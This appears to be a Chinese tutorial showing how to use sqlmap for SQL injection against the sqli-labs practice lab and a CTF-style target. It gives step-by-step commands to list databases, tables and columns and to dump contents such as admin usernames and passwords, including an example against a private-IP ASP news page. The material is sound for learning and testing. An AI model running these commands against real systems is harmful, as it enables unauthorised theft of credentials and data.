1. 程式人生 > >SQL注入之sqlmap爆破sqli-labs-master

SQL注入之sqlmap爆破sqli-labs-master

sqlmap是一款爆破mysql資料的神器。這裡我用sqlmap來演示爆破sqli-labs-master的資料庫。

GET型的sqlmap爆破。

1.列舉資料庫:

Python sqlmay.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –dbs;

2.列出資料庫中資料表:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –D security –tables(-D security 指定 爆 security資料庫中的表)


python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1  –tables(可以把資料庫中的所有表都爆出來)
3.列出users表中欄位:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users --columns

.

4得到欄位裡面的內容:

python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users -C id,password,username –dump


Post型的sqlmap爆破:首先抓包儲存為aa.txt,然後用sqlmap工具跑結果。Sqlmap語句:

1.首先抓包儲存為aa.txt。

2.Python sqlmap.py -r aa.txt//可以得到什麼資料庫(DBMS:MYSQL)

4. Python sqlmap.py -r aa.txt --current-db//可以得到當前使用的資料庫(資料庫多時,查詢當前使用資料庫)。

3. Python sqlmap.py -r aa.txt –dbs//可以得到有那幾個資料庫,得到資料庫後爆資料庫中存在哪些表

4. Python sqlmap.py -r aa.txt -D skctf_flag(上一步得到的資料庫名) --tables//可以得到skctf_flag資料庫中存在哪幾張表

5. Python sqlmap.py -r aa.txt -D skctf_flag(資料庫名) -T fl4g(上一步得到的表名) –coulmns//爆到資料庫skctf_flag中fl4g表有幾列

6. Python sqlmap.py -r aa.txt -D skctf_flag(資料庫名) -T fl4g(表名) -C skctf_flag(上一步得到的列名) --dump//可以得到列的內容。

7.託庫,直接爆資料庫的內容:Python sqlmap.py -r aa.txt -D skctf_flag–dump//直接爆資料庫的內容。資料庫大的話會有問題。


sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --thread 9  //伺服器基本資訊

sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --tables --thread 9  //獲取表名 admin

sqlmap.py -u "http://192.168.116.130/shownews.asp?id=58"--columns -T "admin" --thread 9 //獲取列名 username password

sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --dump -T"admin"  --thread 9  //獲取欄位內容 usernamepassword

sqlmap -u “URL” --current -db  檢視當前資料庫。

Sqlmap -u “URL” -D 資料庫名 –tables  檢視資料庫中的表

Sqlmap -u “URL” -D 資料庫名 –T 表名 –columns 檢視資料庫中的表中的列

Sqlmap -u “URL” -D 資料庫名 –T 表名 –C 列名 --dump 檢視列的內容。